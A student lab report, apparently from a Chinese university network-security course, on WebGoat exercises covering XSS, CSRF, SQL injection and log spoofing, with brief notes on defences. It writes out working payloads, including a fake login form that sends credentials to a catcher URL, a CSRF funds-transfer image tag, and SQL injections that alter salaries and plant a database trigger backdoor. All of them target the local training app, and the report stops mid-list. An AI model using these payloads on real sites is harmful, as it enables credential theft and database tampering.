20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚《网络对抗》Exp9 Web安全基础实践

基础问题回答

1. SQL注入攻击原理，如何防护？
   • SQL注入攻击就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意SQL命令的目的。
   • 对于SQL注入攻击的防范，我以为主要仍是应该从代码上入手：
     • 采用预编译语句集PreparedStatement，它内置了处理SQL注入的能力，只要使用它的setXXX方法传值便可。它的原理就是sql注入只对sql语句的准备(编译)过程有破坏做用，而PreparedStatement已经准备好了，执行阶段只是把输入串做为数据处理，而再也不对sql语句进行解析准备，所以也就避免了sql注入问题；
     • 使用正则表达式过滤传入的参数，对一些包含sql注入的关键字进行过滤；
     • 采用字符串过滤的方法；
     • jsp中调用该函数检查是否包含非法字符，防止SQL从URL注入。
2. XSS攻击的原理，如何防护？
   • XSS是代码注入的一种，它容许恶意用户将代码注入到网页上，并可以被浏览器成功的执行，其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。XSS攻击的主要目的是，想办法获取目标攻击网站的cookie，由于有了cookie至关于有了seesion，有了这些信息就能够在任意能接进互联网的pc登录该网站，并以其余人的身份登录，作一些破坏。
   • XSS的防护能够从如下两方面来进行：
     • 一种方法是在表单提交或者url参数传递前，对须要的参数进行过滤；
     • 检查用户输入的内容中是否有非法内容，如尖括号、引号等，严格控制输出。
3. CSRF攻击原理，如何防护？
   • 咱们知道XSS是跨站脚本攻击，就是在用户的浏览器中执行攻击者的脚本，来得到其cookie等信息。而CSRF是借用用户的身份，向web server发送请求，由于该请求不是用户本意，因此称为“跨站请求伪造”。
   • 对于CSRF的防护也能够从如下几个方面入手：
     • 经过referer、token或者验证码来检测用户提交；
     • 尽可能不要在页面的连接中暴露用户隐私信息，对于用户修改删除等操做最好都使用post操做；
     • 避免全站通用的cookie，严格设置cookie的域。

实践内容

目录

关于WebGoat

• WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，目前提供的训练课程有不少，包含了XSS、线程安全、SQL注入等，咱们本次的实验就是在WebGoat平台上进行。

1. WebGoat分为简单版和开发板，简单版是个Java的Jar包，只须要有Java环境便可，咱们在命令行里执行：java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat：
   

2. WebGoat使用8080端口，因此在浏览器上访问localhost:8080/WebGoat，进入WebGoat以后，能够看到有不少题目来让咱们进行练习。

 

Cross-Site Scripting（XSS）练习

Phishing with XSS

1. 这个题目咱们要在搜索框中输入XSS攻击代码，利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form，让受害人在咱们建立的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，而且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻击代码以下：

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>

1. 在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单，如图所示：
   

2. 输入用户名密码，点击登陆，WebGoat会将你输入的信息捕获并反馈给你：
   

3. 攻击成功！
   
   

Stored XSS Attacks

1. 咱们的目标是要建立非法的消息内容，能够致使其余用户访问时载入非预期的页面或内容，这个很容易啊，在上个实验中咱们也作过，直接在title里随便输点啥，而后在message中输入一串代码，好比：<script>alert("py attack succeed!");</script>
2. 提交后，再次点击刚刚建立的帖子，成功弹出窗口，说明攻击成功：
   

Reflected XSS Attacks

1. 当咱们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展现给咱们看：
   

2. 这时若是咱们将带有攻击性的URL做为输入源，例如依旧输入<script>alert("lxm attack succeed!");</script>，就会弹出对话框：
   

3. 虽然这个效果和上一个存储型XSS实验的效果相似，可是二者所用的原理不同，存储型XSS是持久化的，代码是存储在服务器中，比较典型的例子就是上面所用的留言板，而这个实验中用的是反射型XSS攻击是非持久化的，应用的场景好比欺骗用户本身去点击连接才能触发XSS代码，也就是说它的代码是不存在服务器中的，因此通常来讲存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

1. 咱们的目的是要写一个URL诱使其余用户点击，从而触发CSRF攻击，咱们能够以图片的的形式将URL放进Message框，这时的URL对其余用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。

2. 咱们在message框中输入这样一串代码：<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>，注意这里面的Screen和menu的值每一个人的电脑可能不同，能够在当前页面的右边有个Parameters进行查看：
   

3. 提交后，会在消息列表中看到一个新的消息，点击该消息，当前页面就会下载这个消息并显示出来，转走用户的4000元，从而达到CSRF攻击的目的。

Injection Flaws练习

Numeric SQL Injection

1. 咱们要经过注入SQL字符串的方式查看全部的天气数据，咱们上次实验作过相似的，只要加上一个1=1这种永真式便可达到咱们的目的，依旧利用firebug，在任意一个值好比101旁边加上or 1=1：

2. 选中Columbia，点Go，能够看到全部天气数据：
   

Log Spoofing

1. 咱们输入的用户名会被追加到日志文件中，因此咱们可使用障眼法来使用户名为“admin”的用户在日志中显示“成功登陆”，在User Name文本框中输入py%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符：
   

2. 如图所示，攻击成功：
   

String SQL Injection

1. 仍是和以前同样，基于select语句构造SQL注入字符串，在文本框中输入' or 1=1 --：

2. 点Go，攻击成功，全部用户信息都被显示出来：
   

LAB:SQL Injection(Stage 1:String SQL Injection)

1. 以用户Neville登陆，在密码栏中输入' or 1=1 --进行SQL注入，可是登陆失败：
   

2. 后面查看了一下网页源码，发现输入框对输入的字符长度进行了限制，最多只容许输入8个字符：

3. 对字符长度进行修改，而后从新登陆，登陆成功：
   

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

1. 咱们仍是用上一题的办法先以用户名Larry登陆，登陆以后看到浏览员工信息的按钮是ViewProfile：
   

2. 在网页代码中分析一下这个按钮，发现这个地方是以员工ID做为索引传递参数的，咱们要达到经过Larry来浏览老板帐户信息的目的，通常来讲老板的工资都应该是最高的，因此把其中的value值改成101 or 1=1 order by salary desc --，这样老板的信息就会被排到第一个：
   

3. 以后就能够查看到老板的信息：
   

Database Backdoors

1. 先输一个101，获得了该用户的信息：
   

2. 能够发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=10000，成功把该用户的工资涨到了10000：
   

3. 接下来使用语句101;CREATE TRIGGER pyBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145317@163.com' WHERE userid = NEW.userid建立一个后门，把表中全部的邮箱和用户ID都设为个人：
   

一共10个：